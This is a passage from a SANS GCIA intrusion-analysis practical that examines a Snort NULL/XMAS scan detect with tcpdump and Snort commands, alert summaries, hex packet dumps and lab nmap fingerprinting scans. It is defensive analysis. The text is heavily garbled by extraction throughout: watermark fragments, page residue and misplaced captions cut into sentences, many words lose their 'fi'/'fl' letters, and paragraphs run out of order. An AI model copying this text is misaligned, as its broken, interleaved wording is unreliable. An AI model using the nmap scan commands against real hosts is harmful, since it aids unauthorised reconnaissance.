The detect was generated through the Snort [SNOR1] Network Intrusion Detection System, NIDS, version 2.0.2 (Build 92), running on a RedHat Linux 9.0 system for an Intel platform. The ruleset used to generate the binary log les provided in the Raw directory is unknown, therefore, a default ruleset slightly modied and Snort conguration le snort.conf were used. The Snort version 2.0.2 conguration le has 21714 bytes and its timestamp is Jul 1 16:32. The 11 include rule lines commented by default in this le were activated. Apart from using this default le, a bug was found on Snort 2.0.2 while analyzing this trafc (2003-10-28) 7 . The bug affects the number of alerts that are
7
http://cvs.sourceforge.net/viewcvs.py/snort/snort/ChangeLog?rev=HEAD
SA
NS
In
2.1.2
Detect was generated by
sti
tu
te
Figure 2.1: IDS Network Topology for detect1
20
192.61.16.0/24
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 115.74.0.0/16
04
,A
External network
---- Cisco device --- Hub/Switch/Tap --- Cisco device --- Internal 0:3:E3:D9:26:C0 | 0:0:C:4:B2:33 network | 112.0.0.0/5 (Internet) IDS sensor (Snort) (IANA reserved)
18
ut
ho
Based on this layer 2 and 3 analysis, the topology of the network monitored by the Snort IDS reporting the alerts should look like the one in gure 2.1.
rr
eta
# tcpdump -nn -e -r 2002.8.23 | \ grep -F "0:0:c:4:b2:33 0:3:e3:d9:26:c0" | \ cut -d -f 8 | cut -d . -f 1,2,3,4 | sort -u
ins
fu ll r igh ts.
The data has been extracted using a similar procedure, getting the source and destination addresses respectively:
Raul Siles - GCIA
reported by Snort, therefore, the conguration le was modied with the recommended workaround to develop the rest of this analysis 8 9 . It must be noted that the binary log le obtained after processing the original one (using the Snort -b option) is very different from it, about ten times smaller in size: Original Snort binary le:
-rwxr-x--1 rsiles rsiles
3895751 Oct
Processed le:
-rwxr-x--1 rsiles rsiles
319286 Oct 29
# cd /opt/snort-2.0.2/rules # cat * | grep "alert" | grep -v "^#" | wc -l 1998 # cat /opt/snort-2.0.2/rules/* | grep "flow" | grep "established" | wc -l 1516
8 9
http://cert.uni-stuttgart.de/archive/intrusions/2003/11/msg00031.html http://rain.prohosting.com/rsiles/snort.html
The reason for this, apart from the one associated to the probable difference between the ruleset and the conguration le used when the alerts were generated and the ones available nowadays, can be easily explained by the fact that those logs do not include the TCP session information to recognize a session as established. Snort has the ability to monitor state in its Stream Reassembly Preprocessor, analyzed at the end of this section. Thanks to Chris Green from Sourcere for this piece of information, also commented by David Markle in his GCIA practical. Snort has not been able to recreate its exact output from its own output for quite some time or versions. There is a good bit of detection state information lost in the process. This is one of the main problems IDSes have, they are not able Keyto get all the AF19 FA27 2F94 998D FDB5 DE3DaF8B5 06E4 A169 4E46 cannot be fingerprint = packets that triggered an alert so session reconstruction performed. To be able to do so, a network audit trail is a must. When the flow:established keyword is used within any given rule and the TCP Stream Reassembly preprocessor is active, Snort will maintain the state of all connections the IDS is monitoring. Therefore, if a packet is sent with the ACK bit set and no previous SYN or SYN/ACK packets were seen, Snort would not consider the packet for testing against the given rule. Analyzing the default Snort ruleset, there are 1998 alert rules. In 1516 of them stateful checking is performed through the flow:established statement, verifying if the alert corresponds to a established session. Therefore, more than 75% of the rules generate alerts only when the status information about the session is available:
SA
NS
In
sti
tu
te
20
04
,A
ut
ho
rr
19
eta
ins
fu ll r igh ts.
9
2002.8.23
snort.log.2002.8.23.fixed
2.1. DETECT 1: NULL SCAN The following command was used to analyzed the log le:
Raul Siles - GCIA
# snort -c /opt/snort-2.0.2/etc/snort.conf -l ./log/alerts_by_file \ -r 2002.8.23 -k none -A full -qedUX -N
Snort options are shown in gure 2.2.

-c FILE: -l DIR: -r FILE: -A full: -q: -e: -d: -U: -X: -N: -k none: specifies the \snort{} configuration file (described above) and run \snort{} in NIDS mode. logging directory: alerts and packet logging. binary log file to get the network traces from (libpcap format). generate alerts showing full decoded header and the alert message. dont show banner and status/summary report. display layer-2 header information, such as Ethernet. display the application layer data. use UTC reference for timestamps. dump the raw packet data starting at the link layer. turn off logging. It will only generate the alerts file. turns off the entire checksum verification subsystem. If not used, lots of alerts will be missed due to the sanitization process.
# cat alert.2002.8.23 | grep -F "[**]" | sort | uniq -c | sort -rn | tee alert.2002.8.23_summary.txt 121 [**] [1:648:5] SHELLCODE x86 NOOP [**] 55 [**] [1:1390:3] SHELLCODE x86 inc ebx NOOP [**] 24 [**] [1:1394:3] SHELLCODE x86 NOOP [**] 11 [**] [1:628:2] SCAN nmap TCP [**] 6 [**] [111:11:1] (spp_stream4) STEALTH ACTIVITY (Vecna scan) detection [**] 5 [**] [116:46:1] (snort_decoder) WARNING: TCP Data Offset is less than 5! [**] 5 [**] [111:10:1] (spp_stream4) STEALTH ACTIVITY (XMAS scan) detection [**] 4 [**] [111:8:1] (spp_stream4) STEALTH ACTIVITY (FIN scan) detection [**] 3 [**] [1:650:5] SHELLCODE x86 setuid 0 [**] 3 [**] [1:649:5] SHELLCODE x86 setgid 0 [**] 2 [**] [1:522:1] MISC Tiny Fragments [**] 2 [**] [111:9:1] (spp_stream4) STEALTH ACTIVITY (NULL scan) detection [**] 1 [**] [1:653:5] SHELLCODE x86 unicode NOOP [**] 1 [**] [1:523:4] BAD-TRAFFIC ip reserved bit set [**]
SA
NS
The le triggered a total of 243 alerts:

# grep -F "[**]" alert.2002.8.23 | wc -l 243
10
http://www.incidents.org/logs/Raw
In
Figure 2.3: Alerts triggered for detect1
sti
tu
te
20
All packets have an incorrect checksum, both at the IP and TCP headers, due to the fact that the IP addresses have been sanitized and the checksums have been modied in order to hide the original addresses, as exposed in the README.txt le of the binary log repository at 10 . The complete set of alerts triggered by this le and its number of occurrences are Key fingerprint =2.3: FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 shown in gure AF19
04
,A
20
ut
ho
rr
Figure 2.2: Snort Options for detect1
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
This Snort instance generated an alert le of 88206 bytes. The default Snort alert le was renamed to alert.2002.8.23. The detect was selected based on the fact that no one had analyzed the NULL scan previously and that the le Im focusing on has only been analyzed in one practical (referenced in the Correlations section).
[**] [111:9:1] (spp_stream4) STEALTH ACTIVITY (NULL scan) detection [**] 09/23-19:38:49.836507 0:0:C:4:B2:33 -> 0:3:E3:D9:26:C0 type:0x800 len:0x4A 115.74.249.65:61616 -> 198.61.16.19:21 TCP TTL:50 TOS:0x0 ID:11286 IpLen:20 DgmLen:60 ******** Seq: 0x417A1598 Ack: 0x0 Win: 0x800 TcpLen: 40 TCP Options (4) => WS: 10 NOP MSS: 265 TS: 1061109567 0 [**] [111:9:1] (spp_stream4) STEALTH ACTIVITY (NULL scan) detection [**] 09/23-19:39:00.136507 0:0:C:4:B2:33 -> 0:3:E3:D9:26:C0 type:0x800 len:0x4A 115.74.249.65:61616 -> 198.61.16.19:21 TCP TTL:50 TOS:0x0 ID:57688 IpLen:20 DgmLen:60 ******** Seq: 0xD53E5D5B Ack: 0x0 Win: 0x800 TcpLen: 40 TCP Options (4) => WS: 10 NOP MSS: 265 TS: 1061109567 0
Figure 2.4: Network detects for detect1
Alerts were triggered because Snort detected two TCP packets without any ag set. The TCP specication denes that at least one of the 6 ag bits in the TCP header must be set, although more than one can be activated [STEV1]. Summarizing the TCP ags usage, when a connection is established, the SYN Keyag is set,=since then for every byte that is exchanged, A169 4E46 is set. A fingerprint AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 the ACK ag connection can be terminated through the usage of the RST (abortive) or FIN-ACK (orderly) ags. The IDS detected two NULL scan activities with an interval of exactly 10.3 seconds between them. The packets that triggered both alerts were traveling from source host 115.74.249.65, coming from MAC address [0:0:c:4:b2:33], to destination host 198.61.16.19, going to MAC address [0:3:e3:d9:26:c0]. They were IP packets (type:0x800) and 74 bytes (len:0x4A) were captured in the wire for both. 14 bytes belonging to the Ethernet header, 20 bytes of IP header (IpLen:20) and 40 bytes of TCP (TcpLen:40); 20 of TCP header and 20 of TCP options (4 options x 5 bytes/option). Therefore, the datagram at layer-3 has 60 bytes (DgmLen:60). Both packets come from TCP source port 61616 (ephemeral port) and go to TCP destination port 21, typically associated to the FTP service (control channel). Other packet features are:
- TTL: 50. - The IP identication eld is different between both packets which is normal: 11286 and 57688.
SA
NS
In
sti
tu
te
20
04
,A
ut
ho
rr
21
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
- The TCP sequence numbers are also different between both packets, showing they belong to a different TCP session because the difference between both is huge: 1098519960 and 3577634139. - The TCP window size for both is 2048.
"[111:9:1] (spp_stream4) STEALTH ACTIVITY (NULL scan) detection"
has not been triggered by an standard Snort rule but by a Snort preprocessor (spp_) called stream4. The stream4 preprocessor spp_stream4 or Stateful inspection/Stream reassembly, initially developed by Marty Roesch, is the Snort component in charge of detecting protocol anomalies and ensure Snort will interpret the packets as the destination host would do. It normalizes TCP sessions, using TCP stateful inspection and correlation techniques between packets, so other Snort preprocessors and rules obtain a reliable TCP stream. It is also responsible of detecting portscan and ngerprinting attacks. The default Snort stream4 preprocessor options were used to generate the alert: preprocessor stream4: detect scans, disable evasion alerts
SA
NS
In
sti
tu
The Window Scale option can only appear in a SYN segment [STEV1, page 347] so the scale factor could be dened in each direction when the connection is established. The NOP option is used for padding to a multiple of 4-bytes. A MSS option can only appear in a SYN segment [STEV1, page 237], dening the largest amount of data that TCP will send to the other end. Finally, the Timestamp option can be used by the sender, placing a timestamp value in every segment, in order to let the receiver resend this value in the ACK packet, being possible for the sender Key fingerprint = This FA27 must be sent in the SYN packet to be used in future to calculate the RTT. AF19option 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 segments [STEV1, page 349]. It must be noted that the Host Requirements [RFC1122, page 84] requires TCP to accept any TCP option in any segment. The type of alert corresponding to this detect:
te
20
04
,A
22
ut
ho
rr
eta
Window scale: 10 (multiply by 1024: 210 ) - dened in [RFC1323]. NOP (No option) - dened in the original TCP [RFC793]. Maximum Segment Size (MSS): 265 - [RFC793]. Timestamp: 1061109567, tsecr: 0 - [RFC1323].
ins
fu ll r igh ts.
These TCP/IP values dont correspond with any of the default OS values used in passive ngerprinting methods [PASS1]. The most probable reason is that the packets used have been crafted and have not been generated by the default TCP/IP stack of one of the nowadays most common OS. This information would have helped us to know more about the OS of the systems involved in the alert. Finally, both contain 4 TCP options:
Raul Siles - GCIA
2.1.3
The log les have been sanitized, modifying the IP addresses of the protected network. The external IP addresses have not been changed. This information must be considered when analyzing the IP addresses involved in the detect. Typically, the TCP sessions are difcult to be spoofed, due to the fact that the 3-way handshake must be completed and, continuously, the sequence number validation must be synchronized in order to continue sending and receiving data. The packet inside this detect, a NULL packet, cannot belong to an existing TCP 23
SA
Probability the source address was spoofed
NS
These directives tell Snort to look for stealth scans, as the one analyzed, and turn off the noisy mitigation of overlapping sequences, a technique used to evade the IDS detection (see the Snort documentation [SNOR2]). Stream4 uses GID (Generator ID) 111 and NULL scan has been given the SID (Signature ID) 9. It is using the rst revision (:1) of this signature, so the alert identier is [111:9:1]. The Snort generators (GID) are dened in the generators le inside the conguration directory, etc, while the messages associated to each GID are dened in the gen-msg.map le. The scan attacks try to obtain as much information as possible from the target system. This alert has been classied as STEALTH ACTIVITY, SIDS 6 to 13. The stealth scans pretend the scan trafc not to be logged, pass through clandestine, not like the SYN scans detected by the typical network monitoring tools, such as rewalls, packet lters, Synlogers... Snort has a stateful inspection capability associated to the stream4 preprocessor to reduce the amount of spoong/evasion against Snort. If activated, through the -z switch, it checks the TCP state of a packet and generate alerts only for packets belonging to a known established session. This switch acts as if the flow:established keyword were used in ALL the Snort rules. This state monitoring was added to counter attack obfuscation attempts [ROBE1] as the ones performed by tools such as Stick [STIC1] and Snot [SNOT1]. These Keytools build randomFA27 2F94 998D FDB5on the Snort06E4 A169 4E46 only goal of fingerprint = AF19 noise packets based DE3D F8B5 ruleset with the generating a huge amount of bogus alerts. If the -z switch is used within the Snort instance previously run for this detect, both stream4 alerts, the NULL scan and the XMAS scan (described later), are triggered again. The reason is that both packets are anomalies of the TCP protocol, they would never be part of a normal/standard TCP session, so the stateful information associated to the established connections doesnt inuence their detection. Another reason is that both alerts are not generated by a rule, but by the preprocessor itself.
In
sti
tu
te
20
04
,A
ut
ho
rr
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
The detect belongs to a reconnaissance attack, a method that implies informaKey fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 tion/intelligence gathering. The attacker is trying to nd what hosts and services are available. Sometimes this is done in preparation for a future attack, or sometimes it is done to see if your system might have a service which is susceptible of being attacked. Due to the fact that TCP doesnt dene packets without any ag turned on, these packets have been crafted. It seems there is no CVE [CVE1] number associated to this type of scan. Due to the fact that it is a generic scanning technique, it is not possible to nd references in Bugtraq either [BUGT1]. A very important point about the type of attack associated to a given detect is trying to obtain information about the tool used to run it, the one that generated the packet. Due to the fact that this is a kind of portscan, nmap [NMAP1] was checked at rst instance. nmap supports a large number of scanning techniques, such as NULL scans, using the -sN option. The rst test run tried to simulate the generation of a NULL scan against port 21 using the command in Figure 2.5. The nmap version used was 2.54BETA31, the default version in Red Hat 7.3. The
11
http://www.cuny.edu
SA
NS
In
sti
tu
te
20
04
,A
2.1.4
Description of attack
24
ut
ho
connection, therefore the source IP address can be easily forged. The port scan reconnaissance technique used to be developed using real addresses, because the attackers main goal is to be able to receive the responses generated by the destination host scanned, so it is almost certain that the source address has not been spoofed. This statement is also supported by the fact that the source address belongs to the internal network, more accurately to a possibly compromised system (see the next sections), so the detect was generated by an outgoing packet. Checking the source IP address, 115.74.249.65, in ARIN, the American Registry of Internet Numbers [ARIN1], the network address space this IP belong to is 96.0.0.0 - 126.255.255.255, declared as IANA Reserved. Specically it belongs to network 112.0.0.0/5. Therefore, it is the source IP address the one that belongs to an IANA reserved block, thus, the one that have been sanitized. The same type of search associated to the destination address, 198.61.16.19, shows it corresponds to the address range belonging to the York College of the City University, 198.61.16.0 - 198.61.31.255. This college belongs to the City University of New York 11 and is located in Jamaica, NY, USA. Trying to resolve this destination IP address there is no public hostname associated to it.
rr
eta
ins
fu ll r igh ts.
Raul Siles - GCIA

# nmap -V nmap V. 2.54BETA31 # nmap -sN -P0 -n -p 21 192.168.1.14 Options: -sN: -P0: -n: -p 21: 192.168.1.14:
Figure 2.5: Nmap options
IP addresses inside the packet were sanitized and the checksums modied. The packet generated by nmap is shown in Figure 2.6.
14:27:28.505065 0:1:2:3:45:f 2 > 192.168.1.14.21: . [tcp sum ok] 0:0(0) win 4096 0x0000 4500 0028 8d8a 0000 0x0010 c0a8 010e e472 0015 0x0020 5000 1000 9393 0000 0:1:2:3:45:41 0800 54: 192.168.1.49.5848 (ttl 55, id 36234, len 40) 3706 cccc c0a8 0131 E..(....7......1 0000 0000 0000 0000 .....r.......... P.......
Figure 2.6: Nmap different packet
Key
To conrm these results, the same test was developed using nmap version 3.00, the default version available in Red Hat 8.0 and 9.0. The packets generated are very similar but with a different TCP window; it varies in every execution: 1024, 2048, 3072. . . Besides, the latest nmap version, 3.48-1 was run on a Red Hat 7.1 with similar results. So initially, it seemed nmap was not used to generate it; instead, another packet crafting tool could have been used, like hping [HPIN1]. By default hping sends TCP packets without any ag set, although it doesnt allow to set all the TCP options seen in the packets of this detect. A deeper research analysis helped in obtaining which tool generated these packets. When nmap [NMAP1] is used to ngerprint the operating system of a remote host, using the -O option, a set of specially crafted packets are sent in order to analyze the responses generated by the host [NMAP2]. Using nmap version 2.54BETA31 the same packet as the one present in the detect can be generated (see gure 2.7).
SA
NS
In
sti
tu
te
- TCP sequence number and ACK has a zero value. - It uses a TCP window of 4096. fingerprint = AF19 is 55 instead of 50. ItFDB5 DE3D F8B5 06E4 A16955 for NULL scans: 54, - The TTL value FA27 2F94 998D seems nmap uses values around 4E46 55, 57... - There are no TCP options inside the packet, therefore the packet length has been reduced in 20 bytes.
20
04
,A
This packet differs from the one analyzed in several elements:
ut
ho
rr
25
eta
ins
fu ll r igh ts.
use a NULL scan. dont ping host before scanning them. dont use reverse DNS resolution of the host it finds. scan port 21. destination_IP
Raul Siles - GCIA
# nmap -sN -P0 -n -p 21 -O 192.168.1.14 ... 13:01:23.167563 192.168.1.229.62395 > 192.168.1.228.31708: . [tcp sum ok] 2889333191:2889333191(0) ack 0 win 3072 <wscale 10,nop,mss 265,timestamp 1061109567 0,eol> (ttl 50, id 29305, len 60)
Figure 2.7: Nmap similar packet
All the other important elds, as the ACK value, all TCP options and the packet size are the same. In a future and deeper analysis it would be interesting trying to simulate the retransmissions and sequence of packets (see the next section) obtained in the detect network traces associated to the NULL and the XMAS packets. The scanning packets are going out from the internal network, which could indicate that one of the local hosts (the source IP address) has been compromised and it is being used to scan other external systems, like the one reected in the destination IP address (see the Attack mechanism section for more information). To sum up, these are two NULL packets, going out from an internal system, being part of a reconnaissance attack whose purpose is to ngerprint the OS of a remote host. Once the ngerprinting method has been completed, the most probable next stage in the attacker activities will be a specialized attack again the target operating system and services based on the information obtained.
SA
NS
In
sti
tu
te
- TCP sequence number: it has another, but valid, value. This is not relevant. - nmap uses a variable TCP window: 1024, 2048, 3072, 4096... One of those appear in the detect. - The TTL value is 50, one of the possible values used by nmap when ngerprinting a system. Other values seen are in a range between 37 and 56. It must be noted that TTL value is network topology dependant because it is inuenced by the number of hops the packet has gone through. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D in the06E4 A169 4E46argu- The destination port doesnt match the specied F8B5 command line ments. nmap uses some random ports and add to them the ones indicated by the user.
20
04
,A
26
ut
ho
rr
eta
NOTE: As it will be analyzed in the next section, apart from the NULL packet there are other packets associated to the same scanning process. This NULL packet differs from the one available in the detect in some elements:
ins
fu ll r igh ts.
13:01:23.167563 192.168.1.229.62395 > 192.168.1.228.31708: . [tcp sum ok] 2889333191:2889333191(0) ack 0 win 3072 <wscale 10,nop,mss 265,timestamp 1061109567 0,eol> (ttl 50, id 29305, len 60) 0x0000 4500 003c 7279 0000 3206 0f0f c0a8 01e5 E..<ry..2....... 0x0010 c0a8 01e4 f3bb 7bdc ac37 b9c7 0000 0000 ......{..7...... 0x0020 a010 0c00 9a5b 0000 0303 0a01 0204 0109 .....[.......... 0x0030 080a 3f3f 3f3f 0000 0000 0000 ..????......
Raul Siles - GCIA
2.1.5
Attack mechanism
In
sti
-e: -nn: -vv: -X: -r FILE:
display Ethernet (layer-2) information. no name and port traslation through DNS. very verbose output. display payload in both, ascii and hexadecimal. binary log file to get the network traces from (libpcap format).
There is not too much additional and relevant information to add to the explanation previously made during the Snort output analysis associated to the alert messages. The tcpdump command output also shows the invalid checksums, the eol option (end of option list) and how both packets contain no TCP data. The second step is to analyze the complete set of packets exchanged between these two nodes: 27
tcp[13]&63==0 and host 115.74.249.65 and host 198.61.16.19
SA
The command uses a tcpdump lter which selects all packets coming from and going to hosts 115.74.249.65 and 198.61.16.19 with no TCP ags set:
NS
tu
te
Figure 2.9: Tcpdump options for detect1
20
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 tcpdump options description in Figure 2.9.
04
Figure 2.8: Packets that generate alert for detect1
,A
# tcpdump -ennvvX -r 2002.8.23 tcp[13]&63==0 and host 115.74.249.65 and host 198.61.16.19 21:38:49.836507 0:0:c:4:b2:33 0:3:e3:d9:26:c0 0800 74: 115.74.249.65.61616 > 198.61.16.19.21: . [bad tcp cksum 6d70!] 1098519960:1098519960(0) win 2048 <wscale 10,nop,mss 265,timestamp 1061109567 0,eol> (ttl 50, id 11286, len 60, bad cksum a95c!) 0x0000 4500 003c 2c16 0000 3206 a95c 734a f941 E..<,...2..\sJ.A 0x0010 c63d 1013 f0b0 0015 417a 1598 0000 0000 .=......Az...... 0x0020 a000 0800 c614 0000 0303 0a01 0204 0109 ................ 0x0030 080a 3f3f 3f3f 0000 0000 0000 ..????...... 21:39:00.136507 0:0:c:4:b2:33 0:3:e3:d9:26:c0 0800 74: 115.74.249.65.61616 > 198.61.16.19.21: . [bad tcp cksum 6d70!] 3577634139:3577634139(0) win 2048 <wscale 10,nop,mss 265,timestamp 1061109567 0,eol> (ttl 50, id 57688, len 60, bad cksum f419!) 0x0000 4500 003c e158 0000 3206 f419 734a f941 E..<.X..2...sJ.A 0x0010 c63d 1013 f0b0 0015 d53e 5d5b 0000 0000 .=.......>][.... 0x0020 a000 0800 ea8c 0000 0303 0a01 0204 0109 ................ 0x0030 080a 3f3f 3f3f 0000 0000 0000 ..????......
ut
ho
rr
eta
ins
fu ll r igh ts.
This detect appears to be an information gathering attempt against an external network. The scanning technique used is based on sending individual NULL packets to a specic IP address, trying to obtain information about the target host type (OS ngerprinting) based on the replies obtained, if any. The rst step to analyze this detect in-depth is to analyze the packets that generate the alerts and all their details. See Figure 2.8.
Raul Siles - GCIA
# tcpdump -nn -r 2002.8.23 host 115.74.249.65 and host 198.61.16.19
ut
21:38:46.316507 21:38:46.316507 21:38:49.836507 21:38:49.836507 21:38:54.356507 21:38:54.356507 21:38:56.776507 21:38:56.776507 21:39:00.136507 21:39:00.136507
115.74.249.65.61618 115.74.249.65.61621 115.74.249.65.61616 115.74.249.65.61621 115.74.249.65.61618 115.74.249.65.61621 115.74.249.65.61618 115.74.249.65.61621 115.74.249.65.61616 115.74.249.65.61621
> > > > > > > > > >
198.61.16.19.21: . ack 0 win 2048 198.61.16.19.601: FP 1098519960:1098519960(0) 198.61.16.19.21: . win 2048 198.61.16.19.601: FP 1098519960:1098519960(0) 198.61.16.19.21: . ack 1 win 2048 198.61.16.19.601: FP 1254329565:1254329565(0) 198.61.16.19.21: . ack 1 win 2048 198.61.16.19.601: FP 3577634139:3577634139(0) 198.61.16.19.21: . win 2048 198.61.16.19.601: FP 3577634139:3577634139(0)
ins
tcpdump is not capable of showing the timestamps using the UTC reference so its output is inuenced by the timezone dened in the analysis system. In Linux, the le /etc/localtime denes this information. In this case I used /usr/share/zoneinfo/Europe/Madrid. Therefore, the tcpdump output shows the same timestamp as the Snort output plus 2 hours (CET = UTC+2). In order to run tcpdump in Linux showing the timestamps using the UTC reference, the following command should be used before running it: export TZ=UTC. The command shows all trafc from 2002.8.23 log le between both hosts without using name and port resolution. TCP options for all packets are <wscale 10,nop,mss 265,timestamp 1061109567 0,eol>:
eta
rr
ho
- Those having only the ACK ag set (3 packets), always coming from port 61618. - Those without TCP ags (2 packets, the two alerts analyzed), always coming from port 61616. This type of packet is known as a NULL packet (see the Correlations section for a denition). Port 601: Packets going to port 601 always have the following ags set, URG, FIN and PSH, and always come from port 61621. This type of packet is known as a XMAS packet (see the Correlations section for a denition).
SA
NS
Port 21: There are two types of packets going to port 21 differentiated by the TCP ags, but both types are using the same TCP options:
In
The trafc exchanged between the two hosts only contains a total of 10 TCP packets,fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 Key and all them always go from address 115.74.249.65 to 198.61.16.19. The source host is sending 2 packets at a time, one to destination port 21 (FTP control channel by default) and another to destination port 601 (Reliable SYSLOG service by default [RFC3195]). This double-packet set is repeated using the following interval pattern between packet pairs: 3.52, 4.52, 2.42 and 3.36 seconds respectively. The packets addressed to each of these two ports are very different:
sti
tu
te
20
04
,A
28
fu ll r igh ts.
win 2048 urg 0 win 2048 urg 0 win 2048 urg 0 win 2048 urg 0 win 2048 urg 0
Raul Siles - GCIA
To sum up, we have two possible different sets: ACK set (ACK + XMAS) and NULL set NULL + XMAS. To be able to analyze all these 10 packets in-depth, the following command could be used, showing all packet contents:
# snort -qdevUX -r 2002.8.23 src host 115.74.249.65 and dst host 198.61.16.19
Some curious facts are:
- nmap sends the XMAS packet to the same destination port as the NULL packet. - The source port is incremented by one, although in the detect they were incremented by 5. - The same TCP window, TTL, TCP options, packet length and ACK value are used between both packets. Packets in the detect follow the same pattern. - Both, nmap and detect, use a URG ag with zero value. As mentioned before, due to the fact that only alerting packets were logged, there were no replies in the logs for all this trafc because the replies didnt triggered any alert. Therefore, it is not possible to know if a response was generated or not:
# snort -qdevUX -r 2002.8.23 src host 198.61.16.19 and dst host 115.74.249.65 Run time for packet processing was 0.7963 seconds
SA
NS
In
13:01:23.167566 192.168.1.229.62396 > 192.168.1.228.31708: FP [tcp sum ok] 2889333191:2889333191(0) win 3072 urg 0 <wscale 10,nop,mss 265,timestamp 1061109567 0,eol> (ttl 50, id 37471, len 60) 0x0000 4500 003c 925f 0000 3206 a9a9 c0a8 01e5 E..<._..2..).... 0x0010 c0a8 01e4 f3bc 7bdc ac37 b9c7 0000 0000 ......{..7...... 0x0020 a029 0c00 9a41 0000 0303 0a01 0204 0109 .)...A.......... 0x0030 080a 3f3f 3f3f 0000 0000 0000 ..????......
sti
tu
te
20
04
It seems clear that the same tool is generating all these packets. Once the XMAS packets associated to every NULL packet has been analyzed, it is necessary to compare it with the XMAS packet generated by the nmap tool showed in the previous section: Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
,A
ut
ho
Figure 2.10: Packets over time
rr
set ACK 1 0x417A1598 (ACK+XMAS)
--->
set NULL 1 0x417A1598 (NULL+XMAS)
--->
set ACK 2 0x4AC38CDD (ACK+XMAS)
--->
eta
ins
- Both packets in the same set always contain the same TCP sequence number. - Once a set containing the packet with just the ACK ag set has been sent, the next set containing the NULL packet uses the same TCP sequence number as the ACK set. See Figure 2.10.
set ACK 3 0xD53E5D5B (ACK+XMAS) ---> set NULL 2 0xD53E5D5B (NULL+XMAS)
29
fu ll r igh ts.
Raul Siles - GCIA
# ndd -set /dev/tcp tcp_text_in_resets 0
This fact can be used to FA27 2F94 998D FDB5 DE3D F8B5 06E4scan nds open Key fingerprint = AF19 distinguish between platforms. If the A169 4E46 ports, the machine is not one of the previous boxes. If the NULL scan shows all ports closed, but a SYN scan shows them opened, then you are probably looking at one of these boxes. Linux RH 8.0 and Solaris 8 systems responds with a RST packet when the port is closed and doesnt respond at all when it is opened. These different behaviours help to know if a service is listening or not in a remote host, if the host itself is active, and it is very useful in ngerprinting the OS of the remote node. This is one of the reasons why nmap include NULL packets as part of the methods to guess the OS. In this case, the source host sent unique TCP packets that we dont know if they were replied, so the attacker would never receive accurate information about the OS running in the remote scanned host. One of the reasons for this could be that the remote system runs an OS that never replies to a RST packet when the destination port is opened. Apart from all this stimulus/response analysis, it is possible there were no response because some intermediate ltering device, placed between the local network and the destination network is silently dropping the NULL packets. In the worst case, the attacker got an accurate view of the target OS.
SA
NS
In
sti
tu
te
20
04
,A
30
ut
Lets analyze how this scan type could behave and some reasons that would justify the lack of responses, apart from the previous one mentioned: The standard port scan methods (using a SYN packet) are based on the following idea: a closed port is required to reply to a probe packet with a RST, while an open port must ignore/process the packets in question [RFC793, page 64]. The NULL and XMAS methods depend on the fact that different operating systems respond differently to these scans, XMAS and NULL. The focus is going to be on the NULL scan. The nmap man page [NMAP1] explains that this scan type wont work against the Microsoft systems (Windows95/NT) because they always respond with a RST packet. This will be very useful for ngerprinting purposes. Making some tests, for example, when an HP-UX 11i system receives a NULL packet to a TCP opened or closed port it also replies using a RST packet. The same behaviour has been tested with Cisco IOS devices, Windows 2000, Windows XP... All those send resets from the open ports when they should just drop the packet. Apart from that, a default HP-UX 11i system introduces, for debugging purposes, the text No.TCP in the RST packet when the port is opened, and the text No.TCP/No.listener when the port is closed, helping potential attackers to determine the port status ;-) and ngerprint this OS. This useful functionality can be disabled through the following command:
ho
rr
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
It is important to analyze not only the trafc that has been exchanged between the two hosts involved in the detect, but also the alerts that have been triggered due to trafc between these hosts. All of the 10 packets analyzed previously triggered a Snort alert, and the sequence of events over time was:
# grep -F "115.74.249.65" -B 3 -A 3 alert.2002.8.23 | \ grep -F "198.61.16.19" -B 3 -A 3 | grep -F "[**]" [**] [1:628:2] SCAN nmap TCP [**] [**] [111:10:1] (spp_stream4) STEALTH ACTIVITY (XMAS scan) detection [**] [**] [111:9:1] (spp_stream4) STEALTH ACTIVITY (NULL scan) detection [**] [**] [111:10:1] (spp_stream4) STEALTH ACTIVITY (XMAS scan) detection [**] [**] [1:628:2] SCAN nmap TCP [**] [**] [111:10:1] (spp_stream4) STEALTH ACTIVITY (XMAS scan) detection [**] [**] [1:628:2] SCAN nmap TCP [**] [**] [111:10:1] (spp_stream4) STEALTH ACTIVITY (XMAS scan) detection [**] [**] [111:9:1] (spp_stream4) STEALTH ACTIVITY (NULL scan) detection [**] [**] [111:10:1] (spp_stream4) STEALTH ACTIVITY (XMAS scan) detection [**]
2.1.6
Correlations
The arachNIDS signatures database 13 denes the NULL scan probe 14 . The denition is slightly different from the one described here, because it expects a sequence number of 0, like the one set by nmap when not ngerprinting. The same type of NULL scan is dened in the ISS database [ISS1]. It is important to analyze also the XMAS packets related to the NULL packets:
12 13
incidents.org http://www.whitehats.com/ids/index.html 14 http://www.whitehats.com/info/IDS4
SA
NS
# for i in $(cat ./posted.txt); do tcpdump -nn -r $i \ host 115.74.249.65 and host 198.61.16.19 >> ./posted.packets.txt; echo $i; done # ll ./posted.packets.txt -rwxr-xr-x 1 rsiles rsiles 1353 Nov 2 13:50
In
sti
tu
In order to correlate the information from the le analyzed with other data from the other log les available in the incidents.org website 12 , it must be considered that IP addresses were sanitized consistently only for the les posted the same day. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D as 2002.8.23 (cutting and pasting Extracting all the les posted the same day F8B5 06E4 A169 4E46 from the Web page into the le posted.txt, there are 33 les based on the same sanitization process. Obtaining all the packets related with the two IP addresses analyzed, only the same 10 packets mentioned before can be found, corresponding to 1353 bytes:
te
20
04
,A
ut
ho
31
rr
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
